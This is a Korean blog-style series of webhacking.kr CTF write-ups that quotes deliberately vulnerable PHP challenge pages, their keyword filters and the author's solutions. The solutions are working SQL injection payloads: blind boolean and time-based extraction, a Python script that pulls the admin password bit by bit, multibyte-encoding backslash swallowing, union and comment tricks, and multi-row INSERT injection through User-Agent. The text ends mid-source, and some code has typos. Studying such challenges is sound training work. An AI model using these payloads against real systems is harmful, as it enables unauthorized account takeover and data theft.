<html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?
$secret_key="????";

if(time()>1309064400) exit("오후 2시에 공개됩니다.");

if($_POST[pw])
{

if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}

}


if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}

?>

<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>

<form method=post action=index.php>
Secret key : <input name=pw><input type=submit><br><br>
</form>

<br><br><a href=indexbackupfile.phps>phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=blueh4g>BlueH4g</a></center>
<br><br><br>

</body>
</html>

msg와 se 파라미터 모두 입력해야하며, se 파라미터만 필터처리한다.
필터 문자로는 from, union, select, and, or, not, &, |, benchmark 이다.
필터를 통과하면 다음과 같은 쿼리를 보낸다.
INSERT INTO tb (id, msg, pw, se) VALUES ('$_SESSION[id], '$_GET[msg]', '$secret_key', '$_GET[se]')
그후, 쿼리 성공/실패 여부와 관계없이 'DONE' 을 출력한다. 

즉, 쿼리에 따라 참/거짓 페이지를 구분할 수 없기 sleep() 함수나 benchmark와 같은 응답시간을 통해 참/거짓을 판단해야한다.
이때 사용할 수 있는 조건문은 IF 또는 CASE WHEN THEN 등을 쓰면된다.
$_GET[se]에 IF(substr(pw,1,1)=? ,sleep(x), 1000)를 입력하면 해당 파라미터 값은 INSERT INTO 구문을 통해 테이블에 삽입된다.
이때, 응답시간을 통해 지연이 되면 참 값이므로 pw 값을 구할 수 있다. 
근데 webhacking.kr 57번 문제는 sleep() 함수 인자로 1초 이상을 주면 NOT ACCEPTABLE? 이라는 에러 페이지를 출력한다...


save image



<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=uuid type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>

<p>

</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");

if($id=="admin") echo("good! Password is $solution");
</a>
</pre>

</body>
</html>



힌트를 보면 알 수 있듯, $id == admin 이면 해결된다.

일단 회원가입을 아무렇게 하고 로그인해보자. (ID: d, PW: d)


hi! d

user key : 97864a79b79c692a8f1179fc3642692a


위와 같이 아이디와 md5가 출력된다. 처음에는 d 값 md5인 줄 알았으나, md('d')와 다른 값이길래

md5 복호화 사이트에서 복호화한 결과 dzombie라는 문자열이 나왔다. md5(concat('d','zombie')) 이런식인 것 같다.



// 1번째 시도 

id : admin // pw : 1 을 입력해보았다.  -> Wrong! 출력


// 2번째 시도

id : admin' and 1=1 # // pw : 1 -> Wrong password! 출력


2번째 시도에서 살짝 의문점이 들 것이다.

webhacking.kr 은 phpinfo()를 보면 magic_quotes_gpc On이다. 

그런데 '를 입력하면 SQL 문법오류가 발생한다. 


이는 추측컨대, 해당 디렉터리에 .htaccess  파일을 통해 다음과 같이 설정한 것 같다.

php_flag magic_quotes_gpc off




다시 문제를 풀어보자. 

대부분 로그인 값을 처리할 때 다음과 같은 쿼리를 사용한다.


SELECT * FROM users WHERE id= '' and pw ='' 


1번째 시도는 당연 위에 쿼리를 수행한 결과 레코드가 반환되지 않는다. 따라서 Wrong! 을 출력할 것이다.

하지만 2번째 시도는 해당 쿼리가 id=admin 인 레코드가 반환되어야한다. 하지만 Wrong password! 가 출력되었다. 

이는 다음과 같이 추측할 수 있다.


<?
include "./lib/db_connect.php";
$connect = dbconn();
$id = $_POST[id];
$pw = $_POST[pw];

$q ="SELECT * FROM users WHERE id='".$id."' and pw='".md5($pw.'zombie')."'";
$row = mysql_fetch_array(mysql_query($q,$connect));
if($row){
	if($row[pw] != md5($pw.'zombie')){
		echo "Wrong password";
		exit();	
	}
	echo "hi! ".$id;

}else{
	echo "Wrong!";
	exit();
}

admin 레코드를 추출 후 DB에 저장된 비밀번호와 입력된 비밀번호가 같은지 한번 더 검사해

틀리면 Wrong password! 가 출력되는 것이다. 즉, 아이디와 비밀번호가 모든 맞아야 admin 계정으로 로그인이 된다.

따라서 admin' union select 1#와 같은 union SQL 인젝션 공격이 불가능하다. 

또한 echo "hi! ".$row[id] 일지 echo "hi ".$id 일지에 따라 union SQL 인젝션 공격 가능 유무가 결정된다.


일단 여기까지 생각해두고 회원가입(join)을 통해 우회가 가능한지 살펴보자.

id를 admin으로 만들어야하므로 회원가입할 때 admin으로 가입하려 시도했다.


Username already exists

back


이미 존재한다고 출력된다.

아이디 중복검사는 어떻게 이루어질까? 생각해보았다.

$q = "SELECT count(*) from users WHERE id='". $id ."' ";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
   echo "Username aready exsits<br>";

이때 주의할 점은 mysql_num_rows() 함수는 실패하면 -1(False) 값을 반환하기 때문에 if($row_count[0]){} 이런식으로 하면 안됨.

$q = "SELECT * from users WHERE id='". $id ."'";
$res = mysql_query($q, $connect);
$row_count = mysql_num_rows($res);
if($row_count[0] > 0)
	echo "Username aready exsits<br>";

두 경우로 추측해볼 수 있다.(개인적인 생각)

우선 admin' 로 가입해 싱글쿼터가 이스케이프 되는지 봤다.

ID : admin' // PW : 123


하지만 로그인이 안된다. ID : admin\' // pw : 123 으로 시도했더니 로그인이 됐다.

이는 싱글쿼터를 이스케이프한다는 말이다. 


근데 이상한 것은 좀전에 .htaccess 파일로 php_flag magic_quotes_gpc off 로 저장돼

싱글쿼터를 이스케이프 처리하지 않는다고 했는데 이게 뭔 상황인가 했다.

중복 검사를 하고 데이터베이스에 저장할 때 mysql_real_escape_string($id) 와 같이 이스케이프 함수를 사용해

처리하는 것 같다.


$id = mysql_real_escape_string($id);

$q ="INSERT INTO users (id, pw) VALUES('$id', '$pw')";


따라서 회원가입 페이지를 우회하여 admin으로 회원가입하는 방법은 불가능할 것 같다.

또한 우회가 가능하다 하더라도 PRIMARY KEY로 id가 등록돼 있을 것 같다고 판단함. (<-- 이런 생각은 좋지 못함.. 문제풀고 시도해볼 예정)

일단 냅두고 다시 로그인을 우회하여 문제를 풀어보기로 했다.


앞서 다음과 같이 입력했을 때 Wrong password! 라는 문자열이 출력됐다. 

ID : admin' and 1=1# 

PW : 123


ID: admin' and 1=0#

PW : 123

또한, 위와 같이 거짓 쿼리로 만들 경우 Wrong! 이 출력된다. 

따라서 참/거짓을 구분할 수 있는 Blind SQL 인젝션 공격이 가능하다. 



ID 값은 admin으로 주어졌으니, PW를 구해보자. 

그런데 칼럼을 정확히 모른다. 일단 게싱으로 admin' and length(pw)=32# 를 ID 입력폼에 입력했더니

Wrong password! 가 출력됐다. 따라서 PW가 비밀번호 칼럼인 것을 확인했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "Wrong password!"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssworrrddd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#    password length   
##################################################################
blind_target_url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
 
for i in xrange(1,50):
 
    injectParams = "admin' and length(pw)="+str(i)+"#"
    params = {'uuid' : injectParams , 'pw' : 'rap1er'}
    params = urllib.urlencode(params)
    print "{} ".format(i)+params
    req = urllib2.Request(blind_target_url, params ,headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(i)
 
 
##################################################################
#     password string 
##################################################################
count=0
password = ""
for i in xrange(1, pw_len+1):
    bit_str = ""
    for j in xrange(18):
        injectParams = "admin' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1)=0#".format(i, j)      
        params = {'uuid' : injectParams, 'pw' : 'rap1er'}
        params = urllib.urlencode(params)
        req = urllib2.Request(blind_target_url, params, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str += '0'
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, j)
            bit_str +='1'
 
    password += chr(int(bit_str,2))
    print "{}'s password : ".format(i)+ password
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




save image



<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>

<form name=kk method=get action=index.php>


<table border=3 width=500 height=500 align=center bgcolor=white>
<tr align=center>
<td colspan=3 rowspan=3 bgcolor=white></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>1</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>

<tr align=center>

<td>1</td>
<td>&nbsp;</td>
<td>1</td>
<td>&nbsp;</td>
<td>1</td>
</tr>

<tr align=center>

<td>1</td>
<td>3</td>
<td>1</td>
<td>3</td>
<td>1</td>
</tr>

<tr align=center>
<td>1</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._1.value=1; } else { this.style.background='white';kk._1.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._2.value=1; } else { this.style.background='white';kk._2.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._3.value=1; } else { this.style.background='white';kk._3.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._4.value=1; } else { this.style.background='white';kk._4.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._5.value=1; } else { this.style.background='white';kk._5.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>0</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._6.value=1; } else { this.style.background='white';kk._6.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._7.value=1; } else { this.style.background='white';kk._7.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._8.value=1; } else { this.style.background='white';kk._8.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._9.value=1; } else { this.style.background='white';kk._9.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._10.value=1; } else { this.style.background='white';kk._10.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>3</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._11.value=1; } else { this.style.background='white';kk._11.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._12.value=1; } else { this.style.background='white';kk._12.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._13.value=1; } else { this.style.background='white';kk._13.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._14.value=1; } else { this.style.background='white';kk._14.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._15.value=1; } else { this.style.background='white';kk._15.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>1</td>
<td>1</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._16.value=1; } else { this.style.background='white';kk._16.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._17.value=1; } else { this.style.background='white';kk._17.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._18.value=1; } else { this.style.background='white';kk._18.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._19.value=1; } else { this.style.background='white';kk._19.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._20.value=1; } else { this.style.background='white';kk._20.value=0; }" >&nbsp;</td>
</tr>

<tr align=center>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>5</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._21.value=1; } else { this.style.background='white';kk._21.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._22.value=1; } else { this.style.background='white';kk._22.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._23.value=1; } else { this.style.background='white';kk._23.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._24.value=1; } else { this.style.background='white';kk._24.value=0; }" >&nbsp;</td>
<td onclick="if(this.style.background!='black') { this.style.background='black'; kk._25.value=1; } else { this.style.background='white';kk._25.value=0; }" >&nbsp;</td>
</tr>




</table>
<input name=_1 size=2 value=0 type=hidden>
<input name=_2 size=2 value=0 type=hidden>
<input name=_3 size=2 value=0 type=hidden>
<input name=_4 size=2 value=0 type=hidden>
<input name=_5 size=2 value=0 type=hidden>
<input name=_6 size=2 value=0 type=hidden>
<input name=_7 size=2 value=0 type=hidden>
<input name=_8 size=2 value=0 type=hidden>
<input name=_9 size=2 value=0 type=hidden>
<input name=_10 size=2 value=0 type=hidden>
<input name=_11 size=2 value=0 type=hidden>
<input name=_12 size=2 value=0 type=hidden>
<input name=_13 size=2 value=0 type=hidden>
<input name=_14 size=2 value=0 type=hidden>
<input name=_15 size=2 value=0 type=hidden>
<input name=_16 size=2 value=0 type=hidden>
<input name=_17 size=2 value=0 type=hidden>
<input name=_18 size=2 value=0 type=hidden>
<input name=_19 size=2 value=0 type=hidden>
<input name=_20 size=2 value=0 type=hidden>
<input name=_21 size=2 value=0 type=hidden>
<input name=_22 size=2 value=0 type=hidden>
<input name=_23 size=2 value=0 type=hidden>
<input name=_24 size=2 value=0 type=hidden>
<input name=_25 size=2 value=0 type=hidden>
<input name=_answer type=hidden>

<center><input type=button value='gogo' onclick=go()></center>

<script>
function go()
{
var answer="";
for(i=1;i<=25;i++) { answer=answer+eval("kk._"+i+".value"); }
kk._answer.value=answer;
kk.submit();
}
</script>

</body>
</html>



<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>
 



50번 문제와 비슷하다. 

2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ



이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.

mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다. 

따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')


id와 pw를 입력받아 해당 값을 쿼리로 전달한다. 

근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.


# $_GET[id] 필터 문자

admin

from

union

limit


# $_GETpw] 필터 문자

union

pw

=, <, >

from


쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.

쿼리 결과 id 값이 admin이면 해결된다.



id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.


SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')

id = rapier%a1'%2F*

pw = *%2For id like 0x61646d696e%23



SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')

SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나

















 <html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 




?>

<!--

index.phps

-->



</body>
</html>
 

# 필터문자


--

2

50

+

substring

from

infor

mation

lv

공백

=

!

<>

sysM

and

or

table

column


val=2를 넣으면 바로 풀릴 것 같지만 힌트에 명시되어 있다. 데이터베이스에 존재하지 않는다고.. 

따라서 UNION을 이용해 칼럼수와 자료형을 맞추고 거짓 union select 2와 같이 쿼리를 보낸다.

select lv from lv1 where lv=(10)%0aunion%0aselect%0a(5-3) 로 로컬에서 풀어서 인증하는데

계속 안돼서 검색해보니 문제오류? 인듯 하다.





풀었으니까 인증은 올려야쥐

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>

11자리 phone이라는 파라미터를 입력받아 서버로 보낸다.


# 필터문자


%

*

/

=

from

select

x

-

#

((


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone]) 

필터 처리하고 challenge35_list 테이블에 id, ip, phone 값을 보낸다.


$_SESSION[id]

$_SERVER[REMOTE_ADDR]

$_GET[phone]



select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'

현재 접속한 사용자가 관리자가이 맞는지 체크한다.


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',1),(0b0110000101100100011011010110100101101110,CHAR(?,?,?,?,?,?,?,?,?,?,?,?,?),2)


id 파라미터에 2진법으로 admin 값을 넣었고, ip는 char 함수를 사용해 현재 IP 주소를 넣었다.





























 <html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}


}

if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body>
</html>






USER-AGENT 값을 trim 함수로 \t(탭), \n(개행), \r(캐리지리턴), \0(NULL), \x0b(수직탭) 문자가 포함되었을 경우

제거한다.


# $_SERVER['HTTP_USER_AGENT'] 치환


. -> _

/ -> _


# 필터문자

/

*

union
char
ascii
select
out
infor
schema
columns
sub
-
+
|
!
update
del
drop
from
where
order
by
asc
desc
lv
borad
0~9 숫자
sys
pass
.
like
and
''
sub


$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);

$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

//필터 처리를 마친후 다시 USER_AGENT 를 가져와서 싱글쿼터, \" 를 없앤다.



$count_ck=mysql_fetch_array(mysql_query("select count(id) from lv0"));

if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }

lv0 테이블에 id 개수가 70이상이면 lv0 테이블을 삭제,



id 개수가 70 미만이면 

SELECT id FROM lv0 WHERE agent='$_SERVER["HTTP_USER_AGENT"]'; 쿼리를 보낸다.



HTTP_USER_AGENT에 해당하는 id를 가져오고 해당 id 값이 admin이면 solve() 함수 호출.

쿼리 후 반환 레코드가 없으면 INSERT INTO lv0 (blah blah) 쿼리로 데이터 추가한다.




# 문제 풀이



우선 lv0 테이블에는 agent, ip, id 칼럼이 존재한다.

처음에 문제를 잘못봤다. 데이터 삽입 쿼리에 $agent가 들어가는데 $_SERVER['HTTP_USER_AGENT'] 값이 들어가는 줄 알고

어떻게 레코드를 삽입하지? 싱글쿼터도 먹혔는데 ... 하고 한참 고민하다가 뒤늦게 $agent 값으로 들어간다는걸 알게됐다....



HTTP REQUEST HEADER user-agent 값에 aaaa','192.168.10.10','admin'),('bbbb 라고 입력하면된다.

그러면 INSERT INTO lv0 (agent, ip, id) VALUES ('aaaa','192.168.10.10','admin'),('bbbb', '192.168.10.10','guest') 같이 입력이 돼서

2개 레코드가 한방에 lv0 테이블에 삽입된다.


그후 HTTP REQUEST HEADER user-agent에 aaaa라고 입력해서 서버로 요청을 보내면 

select id from lv0 where agent='aaaa' 쿼리를 처리하게 되고 agent가 aaaa인 레코드의 id 값은 admin 이므로 solve()함수가 호출된다.



<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
